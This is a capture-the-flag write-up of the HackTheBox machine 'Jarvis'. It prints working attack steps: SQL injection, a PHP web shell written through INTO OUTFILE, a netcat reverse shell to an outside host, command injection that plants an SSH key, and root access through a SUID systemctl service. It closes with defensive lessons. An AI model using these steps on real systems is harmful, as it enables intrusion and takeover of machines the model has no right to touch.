This is a write-up of a HackTheBox machine named Jarvis.
One of the ports exposed on the server was HTTP port that served some hotel website. After a quick glance at the URLs I noticed, that subpage
http://supersecurehotel.htb/room.php?cod=2 is vulnerable to SQL injection - Passing
cod parameter as
2*2 returned site for room no 4.
sqlmap tool automates looking for the right payload and with default options for wizard mode, it returned all of the database content along with hashed, but simple, password for db user. It was just enough to web search for the hash of the password, which turned out to be “imissyou”.
This site was built on PHP had phpMyAdmin installed at
/phpmyadmin. Credentials acquired previously with SQLi matched, and granted access to the web panel.
phpMyAdmin and RCE
Trying to find a way to execute commands on host, I did a couple of checks on where does the Linux user running php have write access to. I did it using SQL’s
SELECT "something" INTO OUTFILE "/some/path". Combining it with PHP’s ability to execute commands using
system() command, I ended up with:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/blablabla.php"
This allowed me to access for example
http://supersecurehotel.htb/blablabla.php?cmd=whoami that returned plain string “www-data”.
Reverse shell and user flag
So let’s set up reverse shell, first running up
nc -lvp 9756 on my host, and then:
http://supersecurehotel.htb/blablabla.php?cmd=nc 10.10.xx.xx 9756 -e /bin/sh
After connecting, let’s upgrade the shell:
python -c 'import pty; pty.spawn("/bin/bash")'
Permissions for “www-data” user were set pretty much ok, that means I could access no flags or “.ssh” directories etc. But the command
sudo -l returned:
www-data@jarvis:/var/www/html$ sudo -l sudo -l Matching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
this means, that we can run Python script “simpler.py” as user “pepper” without his password. This is the user, whose flag we are looking for. This scripts parses some data about potential attackers of the website and also allow to ping attackers IP. The ping-part of code looks interesting:
def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)
Looks like authors tried to blacklist allowed characters, so you couldn’t pass something nasty into
os.system() command, like
18.104.22.168; cat /etc/passwd. They missed the
$ sign though, so let’s exploit it. First I created a script that writes my ssh public key to “authorized_hosts” file and echoes “22.214.171.124” (which is valid param for ping, but this doesn’t matter that much). This is done with:
echo ' mkdir -p /home/pepper/.ssh; echo "ssh-rsa some-ssh-pubkey root@kali" >> /home/pepper/.ssh/authorized_keys; echo "-w 1 126.96.36.199"; ' > /tmp/somescript
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p I was able to use ping command with this parameter:
which in turn, after appending my pubkey, allowed me to get in through ssh:
and get the user flag easily.
Searching for weak points, I ran command
find / -perm /4000 that lists every file with SUID set. A binary with SUID set allows to execute it as the user who is the owner of the binary, not as current user. One of the files listed was
/bin/systemctl which is an executable to manage Systemd services. As there was no write permissions to
/etc/systemd/system, I created a file in user’s systemd directory as below:
echo ' [Unit] Description=hi there [Service] Type=simple ExecStart=/bin/bash /tmp/getflag.sh [Install] WantedBy=default.target ' > /home/pepper/.config/systemd/user/some.service
Then I created
/tmp/getflag.sh file with the following:
/bin/cat /root/root.txt > /tmp/hellomybeautifulflag.txt;
and set permissions of the file to allow execution:
chmod a+x /tmp/getflag.sh
Finally, let’s enable the service:
systemctl enable /home/pepper/.config/systemd/user/some.service
As the service will be executed with root’s permissions, this script will have access to
/root directory and therefore to the flag. Let’s start the service:
systemctl start some.service
and see the root’s flag in our
Summary - what went wrong
This machine represented untrusted user input problem twice. First it was possible to inject code on PHP side (
cod parameter in URL resulting in SQL injection), then again in Python “simpler.py” script. Any RCE would be impossible (or at least not that easy) without those two vulnerabilities. Finally we had situation where regular user could create and run systemd services as root - user could essentially become root there. Lessons learned:
- never trust user input
- perform parametrized SQL queries instead of string formatting/substitution
- prefer whitelist over blacklist
- never allow using Systemd (or any other service manager) as root without having root permissions